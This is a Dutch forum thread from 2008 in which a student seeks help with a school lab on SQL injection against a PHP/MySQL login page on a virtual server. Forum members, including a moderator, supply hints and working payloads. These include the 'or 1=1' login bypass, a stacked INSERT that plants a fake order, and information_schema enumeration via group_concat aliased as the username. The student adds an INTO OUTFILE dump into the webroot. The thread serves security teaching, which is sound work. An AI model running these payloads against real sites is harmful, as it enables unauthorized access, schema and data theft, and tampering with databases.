[PHP/MYSQL] SQL injection

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • Novo
  • Registratie: December 2007
  • Laatst online: 22:31
Beste mensen, ik zit met het volgende probleem:

Voor een opdracht van school heb in een virtuele omgeving een server (Windows 2000, IIS en SQL MYSQL server) en een client (XP pro). Nu moeten wij vanaf de client de server via een inlog script binnen gaan en vervolgens een 'spook order' plaatsen. Dit alles moet via SQL injection gebeuren.
Op voorhand wil ik even vermelden dat ik geen ervaring heb met MYSQL of met PHP, deze opdracht is uit het kader van algemene beveiliging.

Inloggen middels SQL injection is simpel, daarvoor gebruik ik de volgende string:
code:
1
a' or 1=1;#

De volgende stap is dus er achter komen welke tabellen er in de database zitten waar we zojuist zijn ingelogd. Direct op de MYSQL database zou ik dat doen met:
code:
1
show tables;

Als ik dit echter simpel weg achter mijn inlog string plak, krijg ik geen output. Ik krijg de melding dat ik succesvol ben ingelogd en verder niets. Nu dacht ik dit te kunnen oplossen met de volgende string:
code:
1
a' or 1=1; $tbl = show tables; echo $tbl;#

Helaas werkt dit ook niet. Zodra er zich ergens in de string het $ teken bevind, krijg ik een fout melding. Van de laatste string heb ik verschillende versies geprobeerd. Helaas werkt geen van alle:
code:
1
2
3
4
5
6
7
a' or 1=1;$result = mysql_query("SELECT * FROM *") or die(mysql_error());echo . $result .;#

a' or 1=1;"<?php $r = show databases; echo $r ?>";#

a' or 1=1 ?>; <?php $query = show tables ?>; echo . $query .;#

a' or 1=1; $query1 = "show tables"; $result1 = mysql_query($query1); echo($result1);


Omdat ik niet voorbij dit punt kwam heb ik min of meer vals gespeeld door direct op de VM server in te loggen en via phpMyAdmin de naam van de table te weten ben gekomen. Nu kon ik vrij gemakkelijk een 'spook order' plaatsen met de volgende string:
code:
1
a' or 1=1; insert into tblname values(x,x,x,x,x,x,x,x,x,x,x,x,x,x);#

tblname staat voor de naam van de table. De x-en staan voor het aantal columns in de table. Om achter de column naam te komen verhoog ik het aantal karakters tot over de maximaal toegestane waarde per column en in de error die volgt krijg ik precies te zien hoe de column heet. Herhaal deze stappen en je weet precies hoe deze table er uitziet.
Helaas werd deze manier niet echt gewaardeerd door mijn begeleider, hij deelde ons mee dat het wel mogelijk moest zijn om via SQL injection de table namen te voorschijn te toveren.

Mijn directe vraag is dan ook, is hier iemand die deze methode kent en wilt delen? zou iemand mij hierbij willen ondersteunen? Ik ben namelijk al heel wat uren kwijt met het opzoeken en testen van de reeds geprobeerde methode. Bij voorbaat dank.

/btw, als het topic verkeerd staat mijn excuus.

Acties:
  • 0 Henk 'm!

  • kunnen
  • Registratie: Februari 2004
  • Niet online
Brute-forcen!

Acties:
  • 0 Henk 'm!

  • RobIII
  • Registratie: December 2001
  • Niet online

RobIII

Admin Devschuur®

^ Romeinse Ⅲ ja!

(overleden)
Of je leest even ;)
Novo schreef op maandag 20 oktober 2008 @ 19:39:
hij deelde ons mee dat het wel mogelijk moest zijn om via SQL injection de table namen te voorschijn te toveren.
Dan:
Novo schreef op maandag 20 oktober 2008 @ 19:39:
/btw, als het topic verkeerd staat mijn excuus.
Daar hebben we heel mooie richtlijnen voor: Waar hoort mijn topic? :Y)

Dan wat constructiever: even googlen >> http://unixwiz.net/techtips/sql-injection.html#map en http://unixwiz.net/techtips/sql-injection.html#findname maar het is natuurlijk niet gezegd dat je het via "show tables" moet doen en daar gaat TS wel van uit ;)

[ Voor 50% gewijzigd door RobIII op 20-10-2008 20:07 ]

There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.

Je eigen tweaker.me redirect

Over mij


Acties:
  • 0 Henk 'm!

  • kunnen
  • Registratie: Februari 2004
  • Niet online
Of je begrijpt even ;) Als je alle namen afgaat tover je immers ook de bestaande tables tevoorschijn.

Acties:
  • 0 Henk 'm!

  • RobIII
  • Registratie: December 2001
  • Niet online

RobIII

Admin Devschuur®

^ Romeinse Ⅲ ja!

(overleden)
ThomasB schreef op maandag 20 oktober 2008 @ 20:06:
[...]

Of je begrijpt even ;) Als je alle namen afgaat tover je immers ook de bestaande tables tevoorschijn.
:X Dat is wel héél lomp :D Maar I stand corrected :Y)

There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.

Je eigen tweaker.me redirect

Over mij


Acties:
  • 0 Henk 'm!

  • Novo
  • Registratie: December 2007
  • Laatst online: 22:31
Dank voor jullie reactie.

@ThomasB, haha dat is idd mogelijk. Het lijkt met echter niet de snelste methode om 'alle' namen/woorden aftegaan ;).

@RobIII, in die FAQ had ik gekeken, mij leek dit de juiste plek voor mijn vraag. Mods kunnen echter anders beslissen ;).
No offence, maar de links die je geeft zijn niet echt hulp vol ;). Doe gaan ook uit van brute-force, als ik mag quoten:
The first steps are to [b]guess[b/] some field names...
&
By iterating over several guesses, we eventually determined that...
Het feit dat ik uit ga "show tables" komt door mijn beperkte kennis van MYSQL en PHP. Als je toevallig een andere manier dan "show tables" weet, dan houdt ik mij uiteraard aanbevolen.

Acties:
  • 0 Henk 'm!

  • RobIII
  • Registratie: December 2001
  • Niet online

RobIII

Admin Devschuur®

^ Romeinse Ⅲ ja!

(overleden)
Novo schreef op maandag 20 oktober 2008 @ 21:01:
Dank voor jullie reactie.

@ThomasB, haha dat is idd mogelijk. Het lijkt met echter niet de snelste methode om 'alle' namen/woorden aftegaan ;).

@RobIII, in die FAQ had ik gekeken, mij leek dit de juiste plek voor mijn vraag. Mods kunnen echter anders beslissen ;).
No offence, maar de links die je geeft zijn niet echt hulp vol ;). Doe gaan ook uit van brute-force, als ik mag quoten:

[...]

&

[...]


Het feit dat ik uit ga "show tables" komt door mijn beperkte kennis van MYSQL en PHP. Als je toevallig een andere manier dan "show tables" weet, dan houdt ik mij uiteraard aanbevolen.
Guessing is iets heel anders dan brute-forcen ;)


tbl_ordersaaaa
ordersaaab
`order`aaac
etc...etc999...

Ik ben niet genoeg into php (en ik denk dat we te weinig code/informatie hebben? ) om te kunnen zeggen of "show tables" werkt of zou kunnen werken; ik wou alleen aangeven dat je misschien in een andere richting moet denken.

[ Voor 10% gewijzigd door RobIII op 21-10-2008 01:20 ]

There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.

Je eigen tweaker.me redirect

Over mij


Acties:
  • 0 Henk 'm!

  • Creepy
  • Registratie: Juni 2001
  • Laatst online: 17:46

Creepy

Tactical Espionage Splatterer

Mijn directe vraag is dan ook, is hier iemand die deze methode kent en wilt delen? Ik ben namelijk al heel wat uren kwijt met het opzoeken en testen van de reeds geprobeerde methode.
Aka: je leraar geeft je een opdracht en je wilt dat wij de oplossing voor je aandragen ;) Dat is natuurlijk niet de bedoeling. Show tables is inderdaad niet de enige manier om achter tabellen te komen. MySQL (en elk RDMBS eigenlijk) houdt ergens zelf een administratie bij..... zoek daar eens op. Of je er echt wat mee kan weet ik niet maar daar kom je vanzelf achter. Juist met dit soort zaken gaat het erom creatief te denken, dat is een groot deel van de "fun". Als wij je kant en klare oplossing gaan aanbieden is een groot deel van de fun er vanaf.

[ Voor 23% gewijzigd door Creepy op 20-10-2008 22:07 ]

"I had a problem, I solved it with regular expressions. Now I have two problems". That's shows a lack of appreciation for regular expressions: "I know have _star_ problems" --Kevlin Henney


Acties:
  • 0 Henk 'm!

  • skabouter
  • Registratie: Oktober 2000
  • Laatst online: 20-08 08:55

skabouter

Skabouter

PHP:
1
a' or 1=1; $tbl = show tables; echo $tbl;#


Dat is wel grappig verzonnen, maar je combineerd SQL met PHP en dat wordt zowiezo niets omdat je dit probeerd uit te voegen in een SQL query.

Om diezelfde reden worden

PHP:
1
2
3
4
5
6
7
a' or 1=1;$result = mysql_query("SELECT * FROM *") or die(mysql_error());echo . $result .;#

a' or 1=1;"<?php $r = show databases; echo $r ?>";#

a' or 1=1 ?>; <?php $query = show tables ?>; echo . $query .;#

a' or 1=1; $query1 = "show tables"; $result1 = mysql_query($query1); echo($result1);


ook niets.

Je moet gewoon even logisch nadenken, als de login query bijvoorbeeld het volgende formaat heeft

MySQL:
1
SELECT * FROM login WHERE username = '[1]' AND password = '[2]';

([1] en [2] zijn hierbij dus user input)

Dan moet je ervoor zorgen dat je met [1] de huidige query afbreekt en de rest van de query niet meer uitvoert. Dat ging goed in je eerste voorbeeld

MySQL:
1
a' or 1=1;#


Dan is het alleen nog een kwestie van het juiste commando invoeren tussen de ; en de #

[ Dislect ]


Acties:
  • 0 Henk 'm!

  • .oisyn
  • Registratie: September 2000
  • Laatst online: 19:58

.oisyn

Moderator Devschuur®

Demotivational Speaker

Novo schreef op maandag 20 oktober 2008 @ 19:39:
De volgende stap is dus er achter komen welke tabellen er in de database zitten waar we zojuist zijn ingelogd. Direct op de MYSQL database zou ik dat doen met:
code:
1
show tables;

Als ik dit echter simpel weg achter mijn inlog string plak, krijg ik geen output. Ik krijg de melding dat ik succesvol ben ingelogd en verder niets.
Nogal wiedes natuurlijk. De server checkt of de user/pass combinatie bestaat, en zal vervolgens laten zien of je al dan niet ingelogd bent. Je kunt dus wel een willekeurige query uitvoeren, het resultaat zal je echter nooit zien.

Nu vraag ik me 2 dingen af:
- Ben je gelimiteerd aan het inlog-script? Dat blijkt niet uit je topicstart namelijk.
- Zo ja, laat de inlog-pagina iets zien als "Welkom $user" oid? Denk dan goed aan waar die $user vandaan zou komen, en hoe je dat eventueel om kunt zetten in een beschrijving van de tabellen op het systeem :)

Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.


Acties:
  • 0 Henk 'm!

  • skabouter
  • Registratie: Oktober 2000
  • Laatst online: 20-08 08:55

skabouter

Skabouter

- Zo ja, laat de inlog-pagina iets zien als "Welkom $user" oid? Denk dan goed aan waar die $user vandaan zou komen, en hoe je dat eventueel om kunt zetten in een beschrijving van de tabellen op het systeem :)
Ja daar ging ik ook maar van uit, aangezien je anders inderdaad niets zal zien ;)

Heb je de source van de login pagina? dan kunnen we wat gestructureerder hints geven ;)

[ Dislect ]


Acties:
  • 0 Henk 'm!

  • Novo
  • Registratie: December 2007
  • Laatst online: 22:31
@Allemaal bedankt voor de hulp.

Aan het inlog script kan ik komen (kan immers direct op de virtuele server inloggen), maar als ik daar in ga kijken zou ik dingen te weten kunnen komen die een andere 'hacker/indringer' ook niet zou weten. Tevens zit ik met de mogelijke copyright schending die ik pleeg door een ander zijn script te publiceren... (misschien dat ik het morgen post).

@RobIII, oke dank voor de tips. Ik probeerde je overigens niet af te vallen, maar ben onderhand chagrijnig van me zelf aan het worden dat ik het niet werkend krijg.

@Creepy, haha je hebt gelijk. Misschien heb ik het niet echt handig omschreven maar wat jullie mij nu bieden, een duwtje in de goede richting, is de juiste hulp die ik nodig heb. Administratie? Je bedoeld zoiets als phpMyAdmin? Of waar de inlog gegevens worden opgeslagen (central_user_db)?

@skabouter, dat ik SQL en PHP commando's door elkaar gooi moet je me maar niet kwalijk nemen. Er van uitgaande dat ik alles via een PHP formulier invulde dacht ik dat het mogelijk was...
Ok, dus wat je zegt is dat ik na "a' or 1=1;" en voor het "#" de query moet maken. Met de query:
code:
1
a' or 1=1; select * from aap;#

ben ik er in iig achter gekomen hoe dat database heet waarin de tabellen zitten. Nu de tabellen nog ;).

@.oisyn, als ik ben ingelogd d.m.v. sql injection ("a' or 1=1;#") krijg ik het volgende:
code:
1
2
3
welcome a' or 1=1#
You are now in the protected area 
Logout
Er zal dus ergens in de login.php iets staan van echo $user. Mede daarom had ik verwacht dat de volgende code juist zou werken, maar als ik je zo mag geloven gaat dat dus nooit werken:
code:
1
a' or 1=1; show tables;#

De $user zal (denk ik) in de login.php staan beschreven als volg:
code:
1
$user = $_get['username'];

Waar 'username' staat, komt de waarde te staan die in het invoerveld is ingevoerd. Maar hoe ik nu verder moet zou ik echt niet weten.

Ik ga er nu mee stoppen en morgen met een verse start verder, misschien dat er dan een lampje gaat branden.

Acties:
  • 0 Henk 'm!

  • RobIII
  • Registratie: December 2001
  • Niet online

RobIII

Admin Devschuur®

^ Romeinse Ⅲ ja!

(overleden)
Novo schreef op dinsdag 21 oktober 2008 @ 01:07:
@Creepy, haha je hebt gelijk. Misschien heb ik het niet echt handig omschreven maar wat jullie mij nu bieden, een duwtje in de goede richting, is de juiste hulp die ik nodig heb. Administratie? Je bedoeld zoiets als phpMyAdmin? Of waar de inlog gegevens worden opgeslagen (central_user_db)?
Ik denk eerder dat hij doelde op de db information_schema ;)
Novo schreef op dinsdag 21 oktober 2008 @ 01:07:
@.oisyn, als ik ben ingelogd d.m.v. sql injection ("a' or 1=1;#") krijg ik het volgende:
code:
1
2
3
welcome a' or 1=1#
You are now in the protected area 
Logout
Er zal dus ergens in de login.php iets staan van echo $user. Mede daarom had ik verwacht dat de volgende code juist zou werken, maar als ik je zo mag geloven gaat dat dus nooit werken:
code:
1
a' or 1=1; show tables;#

De $user zal (denk ik) in de login.php staan beschreven als volg:
code:
1
$user = $_get['username'];
Ik denk eerder dat je eens moet gaan kijken naar aliassen ;) Die info komt niet uit $_get maar uit de DB (mits voor demonstratiedoeleinden bedoeld enzo lijkt me dat zeer waarschijnlijk). Kwestie van je gewenste info aliassen naar de originele kolomnaam, dus iets als:
SQL:
1
2
3
4
select somesecretfield as username
...of...
select somesecretfield as displayname
...etc...

Bij het echo'en van username zal dan de inhoud van somesecretfield netjes ge-output worden.

Nu ben ik niet zo van het voorkauwen, maar ik heb eens even zitten stoeien met MySQL en kwam al vlug tot zoiets:
SQL:
1
select group_concat(concat("[", table_schema, ".", table_name, ".", column_name, "]<br>")) as username from information_schema.columns

Die even injecten en je bent weer een stap dichterbij. Nu ben ik een 'verwende MSSQL gebruiker' dus don't shoot me als het makkelijker kan, maar als de code nu zo ver krijgt dat 'ie "username" output dan heb je al een dump van alle tabellen en velden.
Overigens ben je er hier niet mee, want group_concat kapt af op 1024 tekens; waarschijnlijk heb je dan nog niet de info die je zoekt dus zul je het moeten opsplitsen in meerdere statements waarin je (bijv) eerst de tables dumpt en dan met een WHERE clause alleen van de gewenste table de fields enz. enz.

Dat zou dan zoiets worden:
SQL:
1
2
3
4
5
6
7
8
1: select group_concat(s.table_schema) as username from (select distinct table_schema from information_schema.columns) as s
--geeft: information_schema,appelflap,kanariepiet,mysql,phpmyadmin

2: select group_concat(t.table_name) as username from (select distinct table_name from information_schema.columns where table_schema = 'kanariepiet') as t
--geeft: tableA,tableB,tableC,users,tableD,...

3: select group_concat(c.column_name) as username from (select column_name from information_schema.columns where table_schema = 'kanariepiet' and table_name = 'users') as c
--geeft: id, user, password, ...


...en dan heb ik je eig'k alweer teveel geholpen :X

[ Voor 91% gewijzigd door RobIII op 21-10-2008 02:01 ]

There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.

Je eigen tweaker.me redirect

Over mij


Acties:
  • 0 Henk 'm!

  • .oisyn
  • Registratie: September 2000
  • Laatst online: 19:58

.oisyn

Moderator Devschuur®

Demotivational Speaker

Lees ook eens over meta data: [google=sql server meta data] :)
.edit: en RobIII maakt met z'n edits mijn post weer eens volledig overbodig 8)7 :P

Overigens snap ik nog steeds niet wat MySQL in de titel en in de startpost doet. Je geeft toch juist aan dat de setup waarmee je moet werken is gebaseerd op SQL Server?

[ Voor 73% gewijzigd door .oisyn op 21-10-2008 02:05 ]

Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.


Acties:
  • 0 Henk 'm!

  • skabouter
  • Registratie: Oktober 2000
  • Laatst online: 20-08 08:55

skabouter

Skabouter

Aan het inlog script kan ik komen (kan immers direct op de virtuele server inloggen), maar als ik daar in ga kijken zou ik dingen te weten kunnen komen die een andere 'hacker/indringer' ook niet zou weten.
Ja dat is natuurlijk deels wel waar, maar nu weten we helemaal niets over dat script, maakt helpen wel weer erg lastig ;) Wat je ook kunt doen is ervoor zorgen dat het script en de db ergens online staan zodat we erbij kunnen, dan plaats je geen code en geef je ook niet teveel info weg.

[ Dislect ]


Acties:
  • 0 Henk 'm!

  • Novo
  • Registratie: December 2007
  • Laatst online: 22:31
Ben ik weer ;), iedereen wordt weer bedankt voor zijn inzet en moeite.

Laat ik voorop stellen dat het me gelukt is om informatie uit de database te halen, waarschijnlijk met een omslachtige methode maar het werkt.

Door de informatie over information_schema te gaan lezen en het lezen van een artikel kwam ik op het idee om dat te proberen. En tot mijn verbazing kon ik een output file maken. Hier de samen gestelde string die ik gebruikt heb:
code:
1
a&#8217; OR 1=1; select * into outputfile &#8216;/inetpub/wwwroot/database.txt&#8217; from information_schema.tables;#

Nu kon ik via de browser simpel het zojuist gemaakte 'database.txt' uit lezen. Dit werk ook alleen maar omdat IIS op de default locatie is geïnstalleerd, als er dus gebruik gemaakt werd van bv. Apche had naar de locatie moeten gokken.

Nu zou ik toch nog andere methoden willen proberen, dus als iemand toch nog even een blik op het inlog script zou willen werpen. Login.php:
RobIII schreef op dinsdag 21 oktober 2008 @ 01:22:
Nu ben ik niet zo van het voorkauwen, maar ik heb eens even zitten stoeien met MySQL en kwam al vlug tot zoiets:
SQL:
1
select group_concat(concat("[", table_schema, ".", table_name, ".", column_name, "]<br>")) as username from information_schema.columns

Die even injecten en je bent weer een stap dichterbij. Nu ben ik een 'verwende MSSQL gebruiker' dus don't shoot me als het makkelijker kan, maar als de code nu zo ver krijgt dat 'ie "username" output dan heb je al een dump van alle tabellen en velden.
Overigens ben je er hier niet mee, want group_concat kapt af op 1024 tekens; waarschijnlijk heb je dan nog niet de info die je zoekt dus zul je het moeten opsplitsen in meerdere statements waarin je (bijv) eerst de tables dumpt en dan met een WHERE clause alleen van de gewenste table de fields enz. enz.

Dat zou dan zoiets worden:
SQL:
1
2
3
4
5
6
7
8
1: select group_concat(s.table_schema) as username from (select distinct table_schema from information_schema.columns) as s
--geeft: information_schema,appelflap,kanariepiet,mysql,phpmyadmin

2: select group_concat(t.table_name) as username from (select distinct table_name from information_schema.columns where table_schema = 'kanariepiet') as t
--geeft: tableA,tableB,tableC,users,tableD,...

3: select group_concat(c.column_name) as username from (select column_name from information_schema.columns where table_schema = 'kanariepiet' and table_name = 'users') as c
--geeft: id, user, password, ...


...en dan heb ik je eig'k alweer teveel geholpen :X
Bedank voor je link en voor je strings. Helaas krijg ik niet de gewenste output met je strings, de output is:
code:
1
2
3
welcome a' or 1=1#
You are now in the protected area 
Logout

Wat kan ik hier uit concluderen dat je string wel geaccepteerd wordt door MySQL, deze out put krijg ik namelijk altijd als ik een juist commando invoer (b.v. a' or 1=1; use information_schema;#). Waarschijnlijk ligt het aan het scrip dat gebruikt wordt.

Begrijp ik je strings zo goed? "group_concat" zorgt voor een return string, die wordt door "select as username" als username aangeduid. De met username aangeduide string zou dan door echo (wat in het script staat) een output moeten geven.
.oisyn schreef op dinsdag 21 oktober 2008 @ 01:48:
Overigens snap ik nog steeds niet wat MySQL in de titel en in de startpost doet. Je geeft toch juist aan dat de setup waarmee je moet werken is gebaseerd op SQL Server?
Sorry, foutje van mijn kant. Het gaat om MySQL server 5.0 (zie ook de aangepaste OP).
skabouter schreef op dinsdag 21 oktober 2008 @ 08:45:
Ja dat is natuurlijk deels wel waar, maar nu weten we helemaal niets over dat script, maakt helpen wel weer erg lastig ;) Wat je ook kunt doen is ervoor zorgen dat het script en de db ergens online staan zodat we erbij kunnen, dan plaats je geen code en geef je ook niet teveel info weg.
In navolging van het script, zal ik ook nog even kijken of ik de db ergens kan hosten zodat jullie ook even kunnen testen ;).

[ Voor 16% gewijzigd door Novo op 04-11-2008 17:51 ]

Pagina: 1